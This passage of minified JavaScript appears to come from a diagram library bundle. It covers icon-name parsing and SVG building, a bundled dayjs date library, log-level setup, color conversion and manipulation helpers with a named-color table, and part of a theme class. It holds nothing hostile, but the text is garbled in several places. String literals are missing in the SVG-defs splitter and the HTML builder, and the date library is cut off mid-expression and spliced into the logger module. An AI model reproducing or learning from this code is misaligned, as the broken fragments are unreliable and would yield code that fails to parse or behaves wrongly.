i=t.split(":");if(t.slice(0,1)==="@"){if(i.length<2||i.length>3)return null;n=i.shift().slice(1)}if(i.length>3||!i.length)return null;if(i.length>1){let l=i.pop(),u=i.pop(),h={provider:i.length>0?i[0]:n,prefix:u,name:l};return e&&!Y4(h)?null:h}let a=i[0],s=a.split("-");if(s.length>1){let l={provider:n,prefix:s.shift(),name:s.join("-")};return e&&!Y4(l)?null:l}if(r&&n===""){let l={provider:n,prefix:"",name:a};return e&&!Y4(l,r)?null:l}return null},"stringToIcon"),Y4=o((t,e)=>t?!!((e&&t.prefix===""||t.prefix)&&t.name):!1,"validateIconName")});function Yz(t,e){let r={};!t.hFlip!=!e.hFlip&&(r.hFlip=!0),!t.vFlip!=!e.vFlip&&(r.vFlip=!0);let n=((t.rotate||0)+(e.rotate||0))%4;return n&&(r.rotate=n),r}var Xz=N(()=>{"use strict";o(Yz,"mergeIconTransformations")});function n7(t,e){let r=Yz(t,e);for(let n in Uz)n in y0?n in t&&!(n in r)&&(r[n]=y0[n]):n in e?r[n]=e[n]:n in t&&(r[n]=t[n]);return r}var jz=N(()=>{"use strict";W4();Xz();o(n7,"mergeIconData")});function Kz(t,e){let r=t.icons,n=t.aliases||Object.create(null),i=Object.create(null);function a(s){if(r[s])return i[s]=[];if(!(s in i)){i[s]=null;let l=n[s]&&n[s].parent,u=l&&a(l);u&&(i[s]=[l].concat(u))}return i[s]}return o(a,"resolve"),(e||Object.keys(r).concat(Object.keys(n))).forEach(a),i}var Qz=N(()=>{"use strict";o(Kz,"getIconsTree")});function Zz(t,e,r){let n=t.icons,i=t.aliases||Object.create(null),a={};function s(l){a=n7(n[l]||i[l],a)}return o(s,"parse"),s(e),r.forEach(s),n7(t,a)}function i7(t,e){if(t.icons[e])return Zz(t,e,[]);let r=Kz(t,[e])[e];return r?Zz(t,e,r):null}var Jz=N(()=>{"use strict";jz();Qz();o(Zz,"internalGetIconData");o(i7,"getIconData")});function a7(t,e,r){if(e===1)return t;if(r=r||100,typeof t=="number")return Math.ceil(t*e*r)/r;if(typeof t!="string")return t;let n=t.split(K3e);if(n===null||!n.length)return t;let i=[],a=n.shift(),s=Q3e.test(a);for(;;){if(s){let l=parseFloat(a);isNaN(l)?i.push(a):i.push(Math.ceil(l*e*r)/r)}else i.push(a);if(a=n.shift(),a===void 0)return i.join("");s=!s}}var K3e,Q3e,eG=N(()=>{"use strict";K3e=/(-?[0-9.]*[0-9]+[0-9.]*)/g,Q3e=/^-?[0-9.]*[0-9]+[0-9.]*$/g;o(a7,"calculateSize")});function Z3e(t,e="defs"){let r="",n=t.indexOf("<"+e);for(;n>=0;){let i=t.indexOf(">",n),a=t.indexOf("",a);if(s===-1)break;r+=t.slice(i+1,a).trim(),t=t.slice(0,n).trim()+t.slice(s+1)}return{defs:r,content:t}}function J3e(t,e){return t?""+t+""+e:e}function tG(t,e,r){let n=Z3e(t);return J3e(n.defs,e+n.content+r)}var rG=N(()=>{"use strict";o(Z3e,"splitSVGDefs");o(J3e,"mergeDefsAndContent");o(tG,"wrapSVGContent")});function s7(t,e){let r={...t7,...t},n={...Hz,...e},i={left:r.left,top:r.top,width:r.width,height:r.height},a=r.body;[r,n].forEach(y=>{let v=[],x=y.hFlip,b=y.vFlip,T=y.rotate;x?b?T+=2:(v.push("translate("+(i.width+i.left).toString()+" "+(0-i.top).toString()+")"),v.push("scale(-1 1)"),i.top=i.left=0):b&&(v.push("translate("+(0-i.left).toString()+" "+(i.height+i.top).toString()+")"),v.push("scale(1 -1)"),i.top=i.left=0);let S;switch(T<0&&(T-=Math.floor(T/4)*4),T=T%4,T){case 1:S=i.height/2+i.top,v.unshift("rotate(90 "+S.toString()+" "+S.toString()+")");break;case 2:v.unshift("rotate(180 "+(i.width/2+i.left).toString()+" "+(i.height/2+i.top).toString()+")");break;case 3:S=i.width/2+i.left,v.unshift("rotate(-90 "+S.toString()+" "+S.toString()+")");break}T%2===1&&(i.left!==i.top&&(S=i.left,i.left=i.top,i.top=S),i.width!==i.height&&(S=i.width,i.width=i.height,i.height=S)),v.length&&(a=tG(a,'',""))});let s=n.width,l=n.height,u=i.width,h=i.height,f,d;s===null?(d=l===null?"1em":l==="auto"?h:l,f=a7(d,u/h)):(f=s==="auto"?u:s,d=l===null?a7(f,h/u):l==="auto"?h:l);let p={},m=o((y,v)=>{e5e(v)||(p[y]=v.toString())},"setAttr");m("width",f),m("height",d);let g=[i.left,i.top,u,h];return p.viewBox=g.join(" "),{attributes:p,viewBox:g,body:a}}var e5e,nG=N(()=>{"use strict";W4();qz();eG();rG();e5e=o(t=>t==="unset"||t==="undefined"||t==="none","isUnsetKeyword");o(s7,"iconToSVG")});function o7(t,e=r5e){let r=[],n;for(;n=t5e.exec(t);)r.push(n[1]);if(!r.length)return t;let i="suffix"+(Math.random()*16777216|Date.now()).toString(16);return r.forEach(a=>{let s=typeof e=="function"?e(a):e+(n5e++).toString(),l=a.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");t=t.replace(new RegExp('([#;"])('+l+')([")]|\\.[a-z])',"g"),"$1"+s+i+"$3")}),t=t.replace(new RegExp(i,"g"),""),t}var t5e,r5e,n5e,iG=N(()=>{"use strict";t5e=/\sid="(\S+)"/g,r5e="IconifyId"+Date.now().toString(16)+(Math.random()*16777216|0).toString(16),n5e=0;o(o7,"replaceIDs")});function l7(t,e){let r=t.indexOf("xlink:")===-1?"":' xmlns:xlink="http://www.w3.org/1999/xlink"';for(let n in e)r+=" "+n+'="'+e[n]+'"';return'"+t+""}var aG=N(()=>{"use strict";o(l7,"iconToHTML")});var sG=N(()=>{"use strict";Wz();Jz();nG();iG();aG()});var c7,Rn,v0=N(()=>{"use strict";c7=o((t,e,{depth:r=2,clobber:n=!1}={})=>{let i={depth:r,clobber:n};return Array.isArray(e)&&!Array.isArray(t)?(e.forEach(a=>c7(t,a,i)),t):Array.isArray(e)&&Array.isArray(t)?(e.forEach(a=>{t.includes(a)||t.push(a)}),t):t===void 0||r<=0?t!=null&&typeof t=="object"&&typeof e=="object"?Object.assign(t,e):e:(e!==void 0&&typeof t=="object"&&typeof e=="object"&&Object.keys(e).forEach(a=>{typeof e[a]=="object"&&(t[a]===void 0||typeof t[a]=="object")?(t[a]===void 0&&(t[a]=Array.isArray(e[a])?[]:{}),t[a]=c7(t[a],e[a],{depth:r-1,clobber:n})):(n||typeof t[a]!="object"&&typeof e[a]!="object")&&(t[a]=e[a])}),t)},"assignWithDepth"),Rn=c7});var X4=Da((u7,h7)=>{"use strict";(function(t,e){typeof u7=="object"&&typeof h7<"u"?h7.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs=e()})(u7,(function(){"use strict";var t=1e3,e=6e4,r=36e5,n="millisecond",i="second",a="minute",s="hour",l="day",u="week",h="month",f="quarter",d="year",p="date",m="Invalid Date",g=/^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[Tt\s]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?[.:]?(\d+)?$/,y=/\[([^\]]+)]|Y{1,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g,v={name:"en",weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),ordinal:o(function(E){var D=["th","st","nd","rd"],_=E%100;return"["+E+(D[(_-20)%10]||D[_]||D[0])+"]"},"ordinal")},x=o(function(E,D,_){var O=String(E);return!O||O.length>=D?E:""+Array(D+1-O.length).join(_)+E},"m"),b={s:x,z:o(function(E){var D=-E.utcOffset(),_=Math.abs(D),O=Math.floor(_/60),M=_%60;return(D<=0?"+":"-")+x(O,2,"0")+":"+x(M,2,"0")},"z"),m:o(function E(D,_){if(D.date()<_.date())return-E(_,D);var O=12*(_.year()-D.year())+(_.month()-D.month()),M=D.clone().add(O,h),P=_-M<0,B=D.clone().add(O+(P?-1:1),h);return+(-(O+(_-M)/(P?M-B:B-M))||0)},"t"),a:o(function(E){return E<0?Math.ceil(E)||0:Math.floor(E)},"a"),p:o(function(E){return{M:h,y:d,w:u,d:l,D:p,h:s,m:a,s:i,ms:n,Q:f}[E]||String(E||"").toLowerCase().replace(/s$/,"")},"p"),u:o(function(E){return E===void 0},"u")},T="en",S={};S[T]=v;var w="$isDayjsObject",k=o(function(E){return E instanceof I||!(!E||!E[w])},"S"),A=o(function E(D,_,O){var M;if(!D)return T;if(typeof D=="string"){var P=D.toLowerCase();S[P]&&(M=P),_&&(S[P]=_,M=P);var B=D.split("-");if(!M&&B.length>1)return E(B[0])}else{var F=D.name;S[F]=D,M=F}return!O&&M&&(T=M),M||!O&&T},"t"),C=o(function(E,D){if(k(E))return E.clone();var _=typeof D=="object"?D:{};return _.date=E,_.args=arguments,new I(_)},"O"),R=b;R.l=A,R.i=k,R.w=function(E,D){return C(E,{locale:D.$L,utc:D.$u,x:D.$x,$offset:D.$offset})};var I=(function(){function E(_){this.$L=A(_.locale,null,!0),this.parse(_),this.$x=this.$x||_.x||{},this[w]=!0}o(E,"M");var D=E.prototype;return D.parse=function(_){this.$d=(function(O){var M=O.date,P=O.utc;if(M===null)return new Date(NaN);if(R.u(M))return new Date;if(M instanceof Date)return new Date(M);if(typeof M=="string"&&!/Z$/i.test(M)){var B=M.match(g);if(B){var F=B[2]-1||0,G=(B[7]||"0").substring(0,3);return P?new Date(Date.UTC(B[1],F,B[3]||1,B[4]||0,B[5]||0,B[6]||0,G)):new Date(B[1],F,B[3]||1,B[4]||0,B[5]||0,B[6]||0,G)}}return new Date(M)})(_),this.init()},D.init=function(){var _=this.$d;this.$y=_.getFullYear(),this.$M=_.getMonth(),this.$D=_.getDate(),this.$W=_.getDay(),this.$H=_.getHours(),this.$m=_.getMinutes(),this.$s=_.getSeconds(),this.$ms=_.getMilliseconds()},D.$utils=function(){return R},D.isValid=function(){return this.$d.toString()!==m},D.isSame=function(_,O){var M=C(_);return this.startOf(O)<=M&&M<=this.endOf(O)},D.isAfter=function(_,O){return C(_){"use strict";oG=ja(X4(),1),au={trace:0,debug:1,info:2,warn:3,error:4,fatal:5},X={trace:o((...t)=>{},"trace"),debug:o((...t)=>{},"debug"),info:o((...t)=>{},"info"),warn:o((...t)=>{},"warn"),error:o((...t)=>{},"error"),fatal:o((...t)=>{},"fatal")},Dy=o(function(t="fatal"){let e=au.fatal;typeof t=="string"?t.toLowerCase()in au&&(e=au[t]):typeof t=="number"&&(e=t),X.trace=()=>{},X.debug=()=>{},X.info=()=>{},X.warn=()=>{},X.error=()=>{},X.fatal=()=>{},e<=au.fatal&&(X.fatal=console.error?console.error.bind(console,Eo("FATAL"),"color: orange"):console.log.bind(console,"\x1B[35m",Eo("FATAL"))),e<=au.error&&(X.error=console.error?console.error.bind(console,Eo("ERROR"),"color: orange"):console.log.bind(console,"\x1B[31m",Eo("ERROR"))),e<=au.warn&&(X.warn=console.warn?console.warn.bind(console,Eo("WARN"),"color: orange"):console.log.bind(console,"\x1B[33m",Eo("WARN"))),e<=au.info&&(X.info=console.info?console.info.bind(console,Eo("INFO"),"color: lightblue"):console.log.bind(console,"\x1B[34m",Eo("INFO"))),e<=au.debug&&(X.debug=console.debug?console.debug.bind(console,Eo("DEBUG"),"color: lightgreen"):console.log.bind(console,"\x1B[32m",Eo("DEBUG"))),e<=au.trace&&(X.trace=console.debug?console.debug.bind(console,Eo("TRACE"),"color: lightgreen"):console.log.bind(console,"\x1B[32m",Eo("TRACE")))},"setLogLevel"),Eo=o(t=>`%c${(0,oG.default)().format("ss.SSS")} : ${t} : `,"format")});var j4,lG,cG=N(()=>{"use strict";j4={min:{r:0,g:0,b:0,s:0,l:0,a:0},max:{r:255,g:255,b:255,h:360,s:100,l:100,a:1},clamp:{r:o(t=>t>=255?255:t<0?0:t,"r"),g:o(t=>t>=255?255:t<0?0:t,"g"),b:o(t=>t>=255?255:t<0?0:t,"b"),h:o(t=>t%360,"h"),s:o(t=>t>=100?100:t<0?0:t,"s"),l:o(t=>t>=100?100:t<0?0:t,"l"),a:o(t=>t>=1?1:t<0?0:t,"a")},toLinear:o(t=>{let e=t/255;return t>.03928?Math.pow((e+.055)/1.055,2.4):e/12.92},"toLinear"),hue2rgb:o((t,e,r)=>(r<0&&(r+=1),r>1&&(r-=1),r<.16666666666666666?t+(e-t)*6*r:r<.5?e:r<.6666666666666666?t+(e-t)*(.6666666666666666-r)*6:t),"hue2rgb"),hsl2rgb:o(({h:t,s:e,l:r},n)=>{if(!e)return r*2.55;t/=360,e/=100,r/=100;let i=r<.5?r*(1+e):r+e-r*e,a=2*r-i;switch(n){case"r":return j4.hue2rgb(a,i,t+.3333333333333333)*255;case"g":return j4.hue2rgb(a,i,t)*255;case"b":return j4.hue2rgb(a,i,t-.3333333333333333)*255}},"hsl2rgb"),rgb2hsl:o(({r:t,g:e,b:r},n)=>{t/=255,e/=255,r/=255;let i=Math.max(t,e,r),a=Math.min(t,e,r),s=(i+a)/2;if(n==="l")return s*100;if(i===a)return 0;let l=i-a,u=s>.5?l/(2-i-a):l/(i+a);if(n==="s")return u*100;switch(i){case t:return((e-r)/l+(e{"use strict";i5e={clamp:o((t,e,r)=>e>r?Math.min(e,Math.max(r,t)):Math.min(r,Math.max(e,t)),"clamp"),round:o(t=>Math.round(t*1e10)/1e10,"round")},uG=i5e});var a5e,fG,dG=N(()=>{"use strict";a5e={dec2hex:o(t=>{let e=Math.round(t).toString(16);return e.length>1?e:`0${e}`},"dec2hex")},fG=a5e});var s5e,Kt,Xl=N(()=>{"use strict";cG();hG();dG();s5e={channel:lG,lang:uG,unit:fG},Kt=s5e});var su,Ni,Ly=N(()=>{"use strict";Xl();su={};for(let t=0;t<=255;t++)su[t]=Kt.unit.dec2hex(t);Ni={ALL:0,RGB:1,HSL:2}});var f7,pG,mG=N(()=>{"use strict";Ly();f7=class{static{o(this,"Type")}constructor(){this.type=Ni.ALL}get(){return this.type}set(e){if(this.type&&this.type!==e)throw new Error("Cannot change both RGB and HSL channels at the same time");this.type=e}reset(){this.type=Ni.ALL}is(e){return this.type===e}},pG=f7});var d7,gG,yG=N(()=>{"use strict";Xl();mG();Ly();d7=class{static{o(this,"Channels")}constructor(e,r){this.color=r,this.changed=!1,this.data=e,this.type=new pG}set(e,r){return this.color=r,this.changed=!1,this.data=e,this.type.type=Ni.ALL,this}_ensureHSL(){let e=this.data,{h:r,s:n,l:i}=e;r===void 0&&(e.h=Kt.channel.rgb2hsl(e,"h")),n===void 0&&(e.s=Kt.channel.rgb2hsl(e,"s")),i===void 0&&(e.l=Kt.channel.rgb2hsl(e,"l"))}_ensureRGB(){let e=this.data,{r,g:n,b:i}=e;r===void 0&&(e.r=Kt.channel.hsl2rgb(e,"r")),n===void 0&&(e.g=Kt.channel.hsl2rgb(e,"g")),i===void 0&&(e.b=Kt.channel.hsl2rgb(e,"b"))}get r(){let e=this.data,r=e.r;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"r"))}get g(){let e=this.data,r=e.g;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"g"))}get b(){let e=this.data,r=e.b;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"b"))}get h(){let e=this.data,r=e.h;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"h"))}get s(){let e=this.data,r=e.s;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"s"))}get l(){let e=this.data,r=e.l;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"l"))}get a(){return this.data.a}set r(e){this.type.set(Ni.RGB),this.changed=!0,this.data.r=e}set g(e){this.type.set(Ni.RGB),this.changed=!0,this.data.g=e}set b(e){this.type.set(Ni.RGB),this.changed=!0,this.data.b=e}set h(e){this.type.set(Ni.HSL),this.changed=!0,this.data.h=e}set s(e){this.type.set(Ni.HSL),this.changed=!0,this.data.s=e}set l(e){this.type.set(Ni.HSL),this.changed=!0,this.data.l=e}set a(e){this.changed=!0,this.data.a=e}},gG=d7});var o5e,fh,Ry=N(()=>{"use strict";yG();o5e=new gG({r:0,g:0,b:0,a:0},"transparent"),fh=o5e});var vG,od,p7=N(()=>{"use strict";Ry();Ly();vG={re:/^#((?:[a-f0-9]{2}){2,4}|[a-f0-9]{3})$/i,parse:o(t=>{if(t.charCodeAt(0)!==35)return;let e=t.match(vG.re);if(!e)return;let r=e[1],n=parseInt(r,16),i=r.length,a=i%4===0,s=i>4,l=s?1:17,u=s?8:4,h=a?0:-1,f=s?255:15;return fh.set({r:(n>>u*(h+3)&f)*l,g:(n>>u*(h+2)&f)*l,b:(n>>u*(h+1)&f)*l,a:a?(n&f)*l/255:1},t)},"parse"),stringify:o(t=>{let{r:e,g:r,b:n,a:i}=t;return i<1?`#${su[Math.round(e)]}${su[Math.round(r)]}${su[Math.round(n)]}${su[Math.round(i*255)]}`:`#${su[Math.round(e)]}${su[Math.round(r)]}${su[Math.round(n)]}`},"stringify")},od=vG});var K4,Ny,xG=N(()=>{"use strict";Xl();Ry();K4={re:/^hsla?\(\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?(?:deg|grad|rad|turn)?)\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?%)\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?%)(?:\s*?(?:,|\/)\s*?\+?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?(%)?))?\s*?\)$/i,hueRe:/^(.+?)(deg|grad|rad|turn)$/i,_hue2deg:o(t=>{let e=t.match(K4.hueRe);if(e){let[,r,n]=e;switch(n){case"grad":return Kt.channel.clamp.h(parseFloat(r)*.9);case"rad":return Kt.channel.clamp.h(parseFloat(r)*180/Math.PI);case"turn":return Kt.channel.clamp.h(parseFloat(r)*360)}}return Kt.channel.clamp.h(parseFloat(t))},"_hue2deg"),parse:o(t=>{let e=t.charCodeAt(0);if(e!==104&&e!==72)return;let r=t.match(K4.re);if(!r)return;let[,n,i,a,s,l]=r;return fh.set({h:K4._hue2deg(n),s:Kt.channel.clamp.s(parseFloat(i)),l:Kt.channel.clamp.l(parseFloat(a)),a:s?Kt.channel.clamp.a(l?parseFloat(s)/100:parseFloat(s)):1},t)},"parse"),stringify:o(t=>{let{h:e,s:r,l:n,a:i}=t;return i<1?`hsla(${Kt.lang.round(e)}, ${Kt.lang.round(r)}%, ${Kt.lang.round(n)}%, ${i})`:`hsl(${Kt.lang.round(e)}, ${Kt.lang.round(r)}%, ${Kt.lang.round(n)}%)`},"stringify")},Ny=K4});var Q4,m7,bG=N(()=>{"use strict";p7();Q4={colors:{aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyanaqua:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",transparent:"#00000000",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},parse:o(t=>{t=t.toLowerCase();let e=Q4.colors[t];if(e)return od.parse(e)},"parse"),stringify:o(t=>{let e=od.stringify(t);for(let r in Q4.colors)if(Q4.colors[r]===e)return r},"stringify")},m7=Q4});var TG,My,wG=N(()=>{"use strict";Xl();Ry();TG={re:/^rgba?\(\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))(?:\s*?(?:,|\/)\s*?\+?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?)))?\s*?\)$/i,parse:o(t=>{let e=t.charCodeAt(0);if(e!==114&&e!==82)return;let r=t.match(TG.re);if(!r)return;let[,n,i,a,s,l,u,h,f]=r;return fh.set({r:Kt.channel.clamp.r(i?parseFloat(n)*2.55:parseFloat(n)),g:Kt.channel.clamp.g(s?parseFloat(a)*2.55:parseFloat(a)),b:Kt.channel.clamp.b(u?parseFloat(l)*2.55:parseFloat(l)),a:h?Kt.channel.clamp.a(f?parseFloat(h)/100:parseFloat(h)):1},t)},"parse"),stringify:o(t=>{let{r:e,g:r,b:n,a:i}=t;return i<1?`rgba(${Kt.lang.round(e)}, ${Kt.lang.round(r)}, ${Kt.lang.round(n)}, ${Kt.lang.round(i)})`:`rgb(${Kt.lang.round(e)}, ${Kt.lang.round(r)}, ${Kt.lang.round(n)})`},"stringify")},My=TG});var l5e,Mi,ou=N(()=>{"use strict";p7();xG();bG();wG();Ly();l5e={format:{keyword:m7,hex:od,rgb:My,rgba:My,hsl:Ny,hsla:Ny},parse:o(t=>{if(typeof t!="string")return t;let e=od.parse(t)||My.parse(t)||Ny.parse(t)||m7.parse(t);if(e)return e;throw new Error(`Unsupported color format: "${t}"`)},"parse"),stringify:o(t=>!t.changed&&t.color?t.color:t.type.is(Ni.HSL)||t.data.r===void 0?Ny.stringify(t):t.a<1||!Number.isInteger(t.r)||!Number.isInteger(t.g)||!Number.isInteger(t.b)?My.stringify(t):od.stringify(t),"stringify")},Mi=l5e});var c5e,Z4,g7=N(()=>{"use strict";Xl();ou();c5e=o((t,e)=>{let r=Mi.parse(t);for(let n in e)r[n]=Kt.channel.clamp[n](e[n]);return Mi.stringify(r)},"change"),Z4=c5e});var u5e,Ka,y7=N(()=>{"use strict";Xl();Ry();ou();g7();u5e=o((t,e,r=0,n=1)=>{if(typeof t!="number")return Z4(t,{a:e});let i=fh.set({r:Kt.channel.clamp.r(t),g:Kt.channel.clamp.g(e),b:Kt.channel.clamp.b(r),a:Kt.channel.clamp.a(n)});return Mi.stringify(i)},"rgba"),Ka=u5e});var h5e,ld,kG=N(()=>{"use strict";Xl();ou();h5e=o((t,e)=>Kt.lang.round(Mi.parse(t)[e]),"channel"),ld=h5e});var f5e,EG,SG=N(()=>{"use strict";Xl();ou();f5e=o(t=>{let{r:e,g:r,b:n}=Mi.parse(t),i=.2126*Kt.channel.toLinear(e)+.7152*Kt.channel.toLinear(r)+.0722*Kt.channel.toLinear(n);return Kt.lang.round(i)},"luminance"),EG=f5e});var d5e,CG,AG=N(()=>{"use strict";SG();d5e=o(t=>EG(t)>=.5,"isLight"),CG=d5e});var p5e,sa,_G=N(()=>{"use strict";AG();p5e=o(t=>!CG(t),"isDark"),sa=p5e});var m5e,J4,v7=N(()=>{"use strict";Xl();ou();m5e=o((t,e,r)=>{let n=Mi.parse(t),i=n[e],a=Kt.channel.clamp[e](i+r);return i!==a&&(n[e]=a),Mi.stringify(n)},"adjustChannel"),J4=m5e});var g5e,Rt,DG=N(()=>{"use strict";v7();g5e=o((t,e)=>J4(t,"l",e),"lighten"),Rt=g5e});var y5e,Pt,LG=N(()=>{"use strict";v7();y5e=o((t,e)=>J4(t,"l",-e),"darken"),Pt=y5e});var v5e,Pe,RG=N(()=>{"use strict";ou();g7();v5e=o((t,e)=>{let r=Mi.parse(t),n={};for(let i in e)e[i]&&(n[i]=r[i]+e[i]);return Z4(t,n)},"adjust"),Pe=v5e});var x5e,NG,MG=N(()=>{"use strict";ou();y7();x5e=o((t,e,r=50)=>{let{r:n,g:i,b:a,a:s}=Mi.parse(t),{r:l,g:u,b:h,a:f}=Mi.parse(e),d=r/100,p=d*2-1,m=s-f,y=((p*m===-1?p:(p+m)/(1+p*m))+1)/2,v=1-y,x=n*y+l*v,b=i*y+u*v,T=a*y+h*v,S=s*d+f*(1-d);return Ka(x,b,T,S)},"mix"),NG=x5e});var b5e,Et,IG=N(()=>{"use strict";ou();MG();b5e=o((t,e=100)=>{let r=Mi.parse(t);return r.r=255-r.r,r.g=255-r.g,r.b=255-r.b,NG(r,t,e)},"invert"),Et=b5e});var OG=N(()=>{"use strict";y7();kG();_G();DG();LG();RG();IG()});var eo=N(()=>{"use strict";OG()});var dh,ph,Iy=N(()=>{"use strict";dh="#ffffff",ph="#f2f2f2"});var wi,x0=N(()=>{"use strict";eo();wi=o((t,e)=>e?Pe(t,{s:-40,l:10}):Pe(t,{s:-40,l:-10}),"mkBorder")});var b7,PG,BG=N(()=>{"use strict";eo();Iy();x0();b7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#fff4dd",this.noteBkgColor="#fff5ad",this.noteTextColor="#333",this.THEME_COLOR_LIMIT=12,this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px"}updateColors(){if(this.primaryTextColor=this.primaryTextColor||(this.darkMode?"#eee":"#333"),this.secondaryColor=this.secondaryColor||Pe(this.primaryColor,{h:-120}),this.tertiaryColor=this.tertiaryColor||Pe(this.primaryColor,{h:180,l:5}),this.primaryBorderColor=this.primaryBorderColor||wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=this.secondaryBorderColor||wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=this.tertiaryBorderColor||wi(this.tertiaryColor,this.darkMode),this.noteBorderColor=this.noteBorderColor||wi(this.noteBkgColor,this.darkMode),this.noteBkgColor=this.noteBkgColor||"#fff5ad",this.noteTextColor=this.noteTextColor||"#333",this.secondaryTextColor=this.secondaryTextColor||Et(this.secondaryColor),this.tertiaryTextColor=this.tertiaryTextColor||Et(this.tertiaryColor),this.lineColor=this.lineColor||Et(this.background),this.arrowheadColor=this.arrowheadColor||Et(this.background),this.textColor=this.textColor||this.primaryTextColor,this.border2=this.border2||this.tertiaryBorderColor,this.nodeBkg=this.nodeBkg||this.primaryColor,this.mainBkg=this.mainBkg||this.primaryColor,this.nodeBorder=this.nodeBorder||this.primaryBorderColor,this.clusterBkg=this.clusterBkg||this.tertiaryColor,this.clusterBorder=this.clusterBorder||this.tertiaryBorderColor,this.defaultLinkColor=this.defaultLinkColor||this.lineColor,this.titleColor=this.titleColor||this.tertiaryTextColor,this.edgeLabelBackground=this.edgeLabelBac